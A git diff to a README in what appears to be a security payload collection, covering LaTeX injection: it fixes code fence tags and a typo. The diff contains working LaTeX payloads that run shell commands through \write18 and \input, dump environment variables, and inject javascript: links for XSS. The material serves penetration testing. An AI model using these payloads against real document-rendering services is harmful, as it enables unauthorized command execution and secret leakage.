diff --git a/Command Injection/README.md b/Command Injection/README.md index c309ec1..a4e0d0b 100644 --- a/Command Injection/README.md +++ b/Command Injection/README.md @@ -71,23 +71,23 @@ Works on Linux only. swissky@crashlab:~/Www$ cat output} +```tex +\immediate\write18{id > output} \input{output} ``` -If you get any LaTex error, consider using base64 to get the result without bad characters +If you get any LaTex error, consider using base64 to get the result without bad characters (or use `\verbatiminput`): -```bash +```tex \immediate\write18{env | base64 > test.tex} \input{text.tex} ``` -```bash -\input|ls|base4 +```tex +\input|ls|base64 \input{|"/bin/hostname"} ``` ## Cross Site Scripting From [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) -```bash + +```tex \url{javascript:alert(1)} \href{javascript:alert(1)}{placeholder} ``` @@ -80,4 +87,4 @@ Live example at `http://payontriage.com/xss.php?xss=$\href{javascript:alert(1)}{ * [Hacking with LaTeX - Sebastian Neef - 0day.work](https://0day.work/hacking-with-latex/) * [Latex to RCE, Private Bug Bounty Program - Yasho](https://medium.com/bugbountywriteup/latex-to-rce-private-bug-bounty-program-6a0b5b33d26a) -* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) \ No newline at end of file +* [Pwning coworkers thanks to LaTeX](http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)